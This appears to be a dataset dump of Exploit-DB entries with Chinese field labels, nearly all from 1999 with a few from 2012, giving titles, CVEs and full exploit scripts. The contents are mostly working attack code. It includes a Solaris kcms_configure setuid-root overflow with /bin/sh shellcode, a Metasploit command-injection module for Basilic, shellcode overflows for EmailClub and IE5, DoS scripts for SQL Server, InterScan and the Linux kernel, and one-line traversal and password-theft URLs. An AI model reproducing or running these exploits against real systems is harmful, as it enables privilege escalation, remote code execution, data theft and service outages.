QLWD/code_shield huggingface dataset:
标题: Solaris 7.0 - 'kcms_configure' Local Overflow / Local Privilege Escalation EDB-ID: 19647 CVE: 1999-0818 类型: LOCAL 平台: SOLARIS 发布日期: 1999-11-30 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/831/info

The binary kcms_configure, part of the Kodak Color Management System package shipped with OpenWindows (and ultimately, Solaris) is vulnerable to a local buffer overflow. The buffer which the contents of the environment variable NETPATH are copied into has a predetermined length, which if exceeded can corrupt the stack and cause aribtrary code hidden inside of the oversized buffer to be executed. kcms_configure is installed setuid root and exploitation will result in a local root compromise. 
*/

------ ex_kcms_configure86.c
/*=============================================================================
kcms_configure Exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#define ENV "NETPATH="
#define MAXBUF 3000
#define RETADR 2088
#define RETOFS 0xad0
#define FAKEADR 2076
#define NOP 0x90

unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

main()
{
char buf[MAXBUF];
unsigned int i,ip,sp;

putenv("LANG=");
sp=get_sp();
printf("ESP=0x%x\n",sp);

memset(buf,NOP,MAXBUF);

ip=sp;
buf[FAKEADR ]=ip&0xff;
buf[FAKEADR+1]=(ip>>8)&0xff;
buf[FAKEADR+2]=(ip>>16)&0xff;
buf[FAKEADR+3]=(ip>>24)&0xff;

ip=sp-RETOFS;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;

strncpy(buf+2500,exploit_code,strlen(exploit_code));

strncpy(buf,ENV,strlen(ENV));
buf[MAXBUF-1]=0;
putenv(buf);

execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
} URL: https://www.exploit-db.com/exploits/19647
标题: Microsoft SQL Server 7.0/7.0 SP1 - NULL Data Denial of Service EDB-ID: 19638 CVE: 1999-0999 类型: DOS 平台: WINDOWS 发布日期: 1999-11-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/817/info

If Microsoft SQL Server 7.0 receives a TDS header with three or more NULL bytes as data it will crash. The crash will generate an event in the log with ID 17055 "fatal exception EXCEPTION_ACCESS VIOLATION". 

/*
** sqldos.c -- a DoS attack agains MS SQL Server
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 1433    /* the port SQL Server listens on */


int main(int argc, char *argv[])
{
    int sockfd, numbytes;
    struct hostent *he;
    char buff[65535];
    struct sockaddr_in target_addr;

    if (argc != 2) {
        fprintf(stderr,"Usage: sqldos target\n");
        exit(1);
    }

    if ((he=gethostbyname(argv[1])) == NULL)

        perror("gethostbyname");
        exit(1);
    }

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket error");
        exit(1);
    }

    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(PORT);
    target_addr.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(target_addr.sin_zero), 8);

    if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
        perror("connect error");
        exit(1);
    }
    memset(&buff, 0, 3);

    if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
        perror("send errot");
        exit(1);
    }
    close(sockfd);

    return 0;
} URL: https://www.exploit-db.com/exploits/19638
标题: Tektronix Phaser Network Printer 740/750/750DP/840/930 PhaserLink WebServer - Retrieve Administrator Password EDB-ID: 19632 CVE: 1999-1508 类型: REMOTE 平台: HARDWARE 发布日期: 1999-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/806/info


Certain versions of the Tektronix PhaserLink printer ship with a webserver designed to help facilitate configuration of the device. This service is essentially administrator level access as it can completely modify the system characteristics, restart the machine, asign services etc.

In at least one version of this printer there are a series of undocumented URL's which will allow remote users to retrieve the administrator password. Once the password is obtained by the user, they can manipulate the printer in any way they see fit.

To obtain the administrator password:

http://printername/ncl_items.html?SUBJECT=2097 URL: https://www.exploit-db.com/exploits/19632
标题: Microsoft Windows 95/98/Enterprise Server 4/NT Server 4/Terminal Server 4/Workstation 4 - Riched Buffer Overflow EDB-ID: 19633 CVE: 2000-0073 类型: LOCAL 平台: WINDOWS 发布日期: 1999-11-17 漏洞利用脚本: Windows 95/98,Windows NT Enterprise Server 4.0 SP1/SP2/SP3/SP4/SP5/SP6,Windows NT Server 4.0 SP1/SP2/SP3/SP4/SP5/SP6/SP6a,Windows NT Terminal Server 4.0 SP1/SP2/SP3/SP4/SP5/SP6,Windows NT Workstation 4.0 SP1/SP2/SP3/SP4/SP5/SP6/SP6a Riched Buffer Overflow Vulnerability

source: https://www.securityfocus.com/bid/807/info

Riched20.dll and Riched32.dll, which Windows uses to parse Rich Text Forrmat files, have an unchecked buffer which allows arbitrary code to be executed. The code can be put into an .rtf file and emailed to the victim. Then if the victim opens the document, the code will be run at the same privilege level as the user.

NOTE: It has been reported on the Bugtraq mailing list that the patch provided by Microsoft does not completely fix the problem. A .rtf file with 1000 characters (instead of the original 32) will still crash the application reading the .rtf file. 

This will crash Wordpad:
Create an .rtf file, then open it in notepad. The first line will look something like this:
{\rtf1\ansi\deff0\deftab720{\fonttbl...etc....etc
Now insert 32 characters after the .rtf identifier:
{\rtf1\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAansi\deff0\deftab720{\fonttbl...etc...etc
When this file is opened in Wordpad, the program will crash.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19633.wri URL: https://www.exploit-db.com/exploits/19633
标题: Gene6 G6 FTP Server 2.0 - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19624 CVE: 1999-1519 类型: DOS 平台: WINDOWS 发布日期: 1999-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/805/info

The G6 FTP Server, by Gene6, is vulnerable to a buffer overflow attack. If 2000 characters are sent as the username or password, the software will use up all available memory and CPU time and bring the host to a halt. 

Source - 19624-1.zip
Binary - 19624-2.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19624-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19624-2.exe URL: https://www.exploit-db.com/exploits/19624
标题: Matt Wright - 'FormHandler.cgi' 2.0 Reply Attachment EDB-ID: 19620 CVE: 1999-1050 类型: REMOTE 平台: UNIX 发布日期: 1999-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document. 

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd"> URL: https://www.exploit-db.com/exploits/19620
标题: Basilic 1.5.14 - 'diff.php' Arbitrary Command Execution (Metasploit) EDB-ID: 19631 CVE: 2012-3399 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-09 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
   'Description'    => %q{
     This module abuses a metacharacter injection vulnerability in the
    diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
    commands as the www-data user account.
   },
   'Author'         =>
    [
     'lcashdollar',
     'sinn3r',
     'juan'
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'BID', '54234' ]
    ],
   'Platform'       => ['linux', 'unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet'
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 28 2012'
  ))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
   ], self.class)
 end


 def check
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  sig = rand_text_alpha(10)

  res = send_request_cgi({
   'uri'  => "/#{base}/Config/diff.php",
   'vars_get' => {
    'file' => sig,
    'new'  => '1',
    'old'  => '2'
   }
  })

  if res and res.body =~ /#{sig}/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end


 def exploit
  print_status("Sending GET request...")

  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  res = send_request_cgi({
    'uri' => "/#{base}/Config/diff.php",
    'vars_get' => {
     'file' => "&#{payload.encoded} #",
     'new'  => '1',
     'old'  => '2'
    }
   })

  if res and res.code == 404 then
   print_error("404 Basilic not installed or possibly check URI Path.")
  else
   vprint_line(res.body) if res
  end

  handler
 end
end URL: https://www.exploit-db.com/exploits/19631
标题: Admiral Systems EmailClub 1.0.0.5 - Remote Buffer Overflow EDB-ID: 19621 CVE: 1999-1190 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/801/info


Certain versions of EmailClub, a mail server package by Admiral Systems Inc. are vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server which fails to perform proper bounds checking on the 'From:' header on incoming e-mail.

This overflow will lead to a complete compromise of the Windows 95/98 target machine. It may well also affect Windows NT installations in the same manner. It is unclear though if EmailClub run with ADMIN privileges under Windows NT installations.


/*=========================================================================
   E-MailClub Ver1.0.0.5 for Windows98J exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =========================================================================
*/
#include <stdio.h>
#include <string.h>

#define HD1 \
"From exploit Wed Oct 27 01:53 JST 1999\n"\
"Date: Wed, 27 Oct 1999 01:53:00 +0900\n"

#define HD2 \
"Message-Id: <3815C9EBDC.E749HOGE@192.168.0.1>\n"\
"MIME-Version: 1.0\n"\
"Content-Transfer-Encoding: 7bit\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 1\n"\
"Status: U\n\n\n\n"

#define MAXBUF      2000
#define MAXBUF2     500
#define NOP         0x90
#define RETADR      511
#define EIP         0x7fc1415b

unsigned char exploit_code[100]={
0xb8,0x55,0x55,0x55,
0x55,0x50,0x50,0xB8,
0x96,0x91,0xFA,0x5F,
0x03,0xC0,0x50,0xc3,
};

main(int argc, char *argv[])
{
    FILE            *fp;
    char            buf[MAXBUF];
    unsigned int    ip;

    if (argc!=2){
        printf("usage: %s mailspool\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Can not write to %s\n",argv[1]);
        exit(1);
    }
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=EIP;
    buf[RETADR-1]=0xa0;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+RETADR+40,exploit_code,strlen(exploit_code));

    fprintf(fp,"%s",HD1);
    fprintf(fp,"From: %s <exploit@sample.code.net>\n",buf);
    fprintf(fp,"To: you@your.host.net\n");
    fprintf(fp,"Subject: subscribe exploit\n");
    fprintf(fp,"%s",HD2);
    fclose(fp);
} URL: https://www.exploit-db.com/exploits/19621
标题: QPC Software QVT Term 4.3/QVT/Net 4.3 Suite FTP Server - Denial of Service EDB-ID: 19619 CVE: 1999-1539 类型: DOS 平台: WINDOWS 发布日期: 1999-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/796/info

The FTP server that ships with QPC's QVT line of products is vulnerable to a denial of service attack. The FTP server has an unchecked buffer in the logon function. If a username/password pair is specified that is longer than 2000 characters combined, the server will drop the connection with an 'authentication failed' message. The next time someone tries to connect, the server will crash. 

19619-2.exe - binary
19619-1.zip - source 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19619-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19619-2.exe URL: https://www.exploit-db.com/exploits/19619
标题: TransSoft Broker FTP Server 3.0 x/4.0 - User Name Buffer Overflow EDB-ID: 19611 CVE: 2000-1116 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/783/info

If an unusually long user name is passed to the Broker FTP server software, the program will crash. If the program is running as a service, the service will consume all available memory and crash the entire system. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19611.zip URL: https://www.exploit-db.com/exploits/19611
标题: Muhammad M. Saggaf Seyon 2.14b - Relative Path EDB-ID: 19609 CVE: 1999-0820 类型: LOCAL 平台: FREEBSD 发布日期: 1999-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/780/info

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the priviliges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix. 

bash-2.03$ uname -a; id; ls -la `which seyon`
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999=
=

jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
bash-2.03$ cat > seyonx.c
void main () {
setregid(getegid(), getegid());
system("/usr/local/bin/bash");
}
bash-2.03$ gcc -o seyon-emu seyonx.c
bash-2.03$ PATH=.:$PATH
bash-2.03$ seyon
bash-2.03$ id
uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec)
bash-2.03$ URL: https://www.exploit-db.com/exploits/19609
标题: Microsoft Internet Explorer 5 Media Player - ActiveX Error Message EDB-ID: 19618 CVE: 1999-1110 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-14 漏洞利用脚本: Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 Media Player ActiveX Error Message Vulnerability

source: https://www.securityfocus.com/bid/793/info

The Windows Media Player ActiveX control, shipped with IE 5, returns a specific error code if it is instructed to load a local file that does not exist. In this way, an attacker could determine whether or not a specified file on the victim's host exists. This could be used to determine user names and other facets of system configuration.

Demonstration code:
<object id="wm" WIDTH=0 HEIGHT=0
classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"
>
</object>
<SCRIPT>
// -2147220970
function checkfile()
{
b=document.all.wm;
b.FileName=document.forms[0].elements[0].value;
if (b.ErrorCode == -2147220970)
alert("File does not exist")
else
alert("File exists");
}
</SCRIPT>
<FORM>
<INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60>
<INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()">
</FORM> URL: https://www.exploit-db.com/exploits/19618
标题: Linux Kernel 3.2.24 - 'fs/eventpoll.c' Local Denial of Service EDB-ID: 19605 CVE: 2012-3375 类型: DOS 平台: LINUX 发布日期: 2012-07-05 漏洞利用脚本: /*
The Linux Kernel is prone to a local denial-of-service vulnerability. 

Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users.
*/


#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>

int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d\n", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd2, errno);

        sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d)\n", sock, errno);

        addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d)\n", rc, errno);

        rc = listen(sock, 1);
        printf("listen() -> %d(%d)\n", rc, errno);

        event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        rc = close(epfd1);
        printf("close(epfd1) -> %d(%d)\n", rc, errno);

        rc = close(epfd2);
        printf("close(epfd2) -> %d(%d)\n", rc, errno);

        rc = close(sock);
        printf("close(sock) -> %d(%d)\n", rc, errno);

        sleep(1);
        printf("\n\n");
    }
    return 0;
} URL: https://www.exploit-db.com/exploits/19605
标题: Trend Micro Interscan VirusWall 3.2.3/3.3 - 'HELO' Remote Buffer Overflow (1) EDB-ID: 19612 CVE: 2001-0679 1999-1529 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/787/info

There is a buffer overflow in the HELO command of the smtp gateway which ships as part of the VirusWall product. This buffer overflow could be used to launch arbitrary code on the vulnerable server.

This issue was patched by InterScan, however even with the patch it is possible to cause a DoS of the mail server software by sending between 4075 and 4090 characters. 

#!/usr/bin/perl

# (c) Alain Thivillon & Stephane Aubert 
#     Herve Schauer Consultants 2000
#     http://www.hsc.fr/
#
#     Do not use this stuff against Microsoft MX hosts :)
#
# Crash Interscan SMTP Server on Windows NT Version 3.32 Builds 1011 and 1022
# Depending of debugger installed on NT, crash can be immediat if you use
# Drwatson.32.exe (new connections get stuck), or can be limited to single
# thread if Auto=0 in NT Debug key. Interscan limits number of running
# threads (default 25) so it' very easy to exhaust all threads and finally
# force answer to '452 Too Busy'

use Socket;
use FileHandle;

$vict=$ARGV[0];

$AF_INET = 2;
$SOCK_STREAM = 1;
$port=25;
$sockaddr = 'S n a4 x8';

($name, $aliases, $type, $len, $thataddr) = gethostbyname($vict);
$that = pack($sockaddr, $AF_INET, $port, $thataddr);

while (1) {
  $mysock=new FileHandle;
  socket($mysock, $AF_INET, $SOCK_STREAM, $proto) || die "socket failed\n";
  connect($mysock, $that) || die "Connect failed\n";
  select($mysock); $| = 1; select(STDOUT); $| = 1;

  $line = <$mysock>;
  print $line; 
  print $mysock "HELO ",'a'x4075,"\r\n";
  $line = <$mysock>;
  print $line; 
  close $mysock; 
} URL: https://www.exploit-db.com/exploits/19612
标题: Microsoft Windows 95/98 - UNC Buffer Overflow (2) EDB-ID: 19608 CVE: 2000-0330 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/779/info
 
There is a overflowable buffer in the networking code for Windows 95 and 98 (all versions). The buffer is in the part of the code that handles filenames. By specifying an exceptionally long filename, an attacker can cause the machine to crash or execute arbitrary code. This vulnerability could be exploited remotely by including a hostile UNC or file:// URL in a web page or HTML email. The attack would occur when the page was loaded in a browser or the email was opened (including opening the email in a preview pane.) 

/*=========================================================================
   Microsoft IE5 for Windows98 exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =========================================================================
*/

#include    <stdio.h>
#include    <windows.h>

#define     MAXBUF          1000
#define     RETADR          53

/*
    jmp esp (FF E4) code is stored in this area.
    You must change this address for non-Japanese Windows98
*/
#define     EIP             0xbfb75a35 
                                         
unsigned char   exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};

main(int argc,char *argv[])
{
    FILE                    *fp;
    unsigned int            ip;
    unsigned char           buf[MAXBUF];

    if (argc<2){
        printf("usage %s output_htmlfile\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;   
    fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
    
    memset(buf,0x41,MAXBUF);
    ip=EIP;
    buf[RETADR-1]=0x7f;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=( ip>>24)&0xff;
    memcpy(buf+80,exploit_code,strlen(exploit_code));
    buf[MAXBUF]=0;
    fprintf(fp,"%s/\">\n<HTML><B>",buf);
    fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
    fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
    fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
    fprintf(fp,"</HTML>\n");
    fclose(fp);
    printf("%s created.\n",argv[1]);
    return FALSE;
} URL: https://www.exploit-db.com/exploits/19608
标题: etype eserv 2.50 - Directory Traversal EDB-ID: 19601 CVE: 1999-1509 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/773/info

Etype's Eserv product is designed to be a one-source internet connectivity solution, incorporating mail, web, ftp, and proxy servers into one package. The web server will allow remote browsing of the entire filesystem by the usage of ../ strings in the URL. This gives an attacker read access to every file on the server's filesystem that the webserver has access to. 

http://victim.com/../../../autoexec.bat URL: https://www.exploit-db.com/exploits/19601